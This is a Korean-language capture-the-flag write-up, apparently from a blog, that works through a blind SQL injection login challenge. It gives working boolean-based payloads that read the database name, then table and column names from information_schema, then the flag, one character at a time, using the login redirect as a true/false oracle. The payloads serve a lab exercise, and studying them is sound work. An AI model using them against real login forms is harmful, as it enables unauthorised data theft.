CTF : SQL Injection 6

DATE : 2023/12/10

마지막 SQLi 문제를 풀어보도록 하자!

이번 문제는 Blind SQL 문제이기 때문에 정신을 바짝 차려야 한..

자! 바로 시작해보면

normaltic:1234

로 로그인해 기본적인 로직을 보면

로그인 성공 시, 302 found response를 받고 index.php 이동

로그인 실패 시, 200 ok response로 끝

기본적인 흐름을 알았으니, SQLi를 실행할 수 있는 지부터 확인해보자.

' and '1'='1을 입력해 응답을 확인해보면 로그인에 성공한 걸 볼 수 있다.

로그인에 성공했을 때는 페이지 상에 별 다른 문구가 출력 되지 않는다.

이와 달리 로그인에 실패하는 경우에는

로그인 form 하단에 Warning! 문구가 나오는 걸 확인할 수 있다.

이로써 우리는 SQL의 결과가 참인지 거짓인지 구별할 수 있음을 알아야 한다!

페이지 상에서 어떤 point로 Query의 결과를 확인할 수 있는 지 파악했다면

다음으로 우리가 실행하고 싶은 SELECT문이 동작하는 지 확인해볼 필요가 있다.

'hanhxx'의 첫 번째 문자가 'a'임을 물어보는 틀린 조건에는 Warning!

'hanhxx'의 첫 번째 문자가 'h'임을 물어보는 참인 조건에는 아무런 문구도 보이지 않는다!

즉 위에서 주입한

ascii(substr((select 'hanhxx'),1,1)) = ascii('h')

Query가 정상적으로 동작했음을 파악할 수 있다.

그렇다면 SELECT문과 조건을 바꿔 가면서 한 글자씩 정보를 알아내면 된다!

QUERY >

normaltic' and (ascii(substr((__SELECT__),1,1)) = ascii('ALPHA')) and '1'='1

이번에는 이진 탐색 대신 ascii 값을 비교하는 방식을 수행해볼 것이다.

database() 결과의 첫 번째 글자가 무엇인지! Payload를 지정해 실행하면

's'인 경우에만 response가 302 status code인 걸 볼 수 있다.

즉, DB의 첫 번째 문자는 's'

다음으로 두 번째 문자를 물어보면

두 번째 문자는

'q'라고 한다.

이런 식으로 마지막 글자까지 알아내면

DB name : sqli_3

다음으로 DB name을 이용해 Table name을 물어보자.

select table_name from information_schema.tables where table_schema='sqli_3'

위에서 작성해둔 공격 Query에 SELECT문을 넣어 실행하면 된다.

normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),1,1)) = ascii('a')) and '1'='1

DB 이름을 알아낸 방법과 동일하게 Intruder를 실행해 Table 이름을 알아내면 된다.

TABLE name : flag_table

이때 주의할 점은 결과가 1개 이상일 경우,

limit를 제외한 Query를 실행하면 거짓인 경우의 결과가 화면에 나온다는 점!

Table 이름을 알았으니 바-로 column 이름을 물어보자!

select column_name from information_schema.columns where table_name='flag_table'

column 이름을 알아내기 위한 SELECT문을 공격 Query에 넣어주면 아래와 같다.

normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='flag_table' limit 0,1),1,1)) = ascii('a')) and '1'='1

Query 실행 결과 :

Column name : flag

flag_table의 첫 번째 column이 flag임을 알아냈다.

다른 column도 존재하겠지만.. 우선 flag 냄새가 나는 곳만 탐색해보기로 한다. 😫

select flag from flag_table

flag_table에 flag column 값을 알려 달라!

normaltic' and (ascii(substr((select flag from flag_table),1,1)) = ascii('a')) and '1'='1

한 글자 한 글자 알아가다 보면..!

sefalut{___flag___}

최종적으로 flag를 만들 수 있다. 👍

역시 blind SQLi는 수동으로 하기에 벅찬 느낌이 든다..

하지만! 하나 하나 해봐야 이해가 확실하게 될 테니 값진 고생을 했다 생각하고

이제.. 자동화 코드를 짜러 어디 한 번 넘어 가보자!!!! 😏

Last updated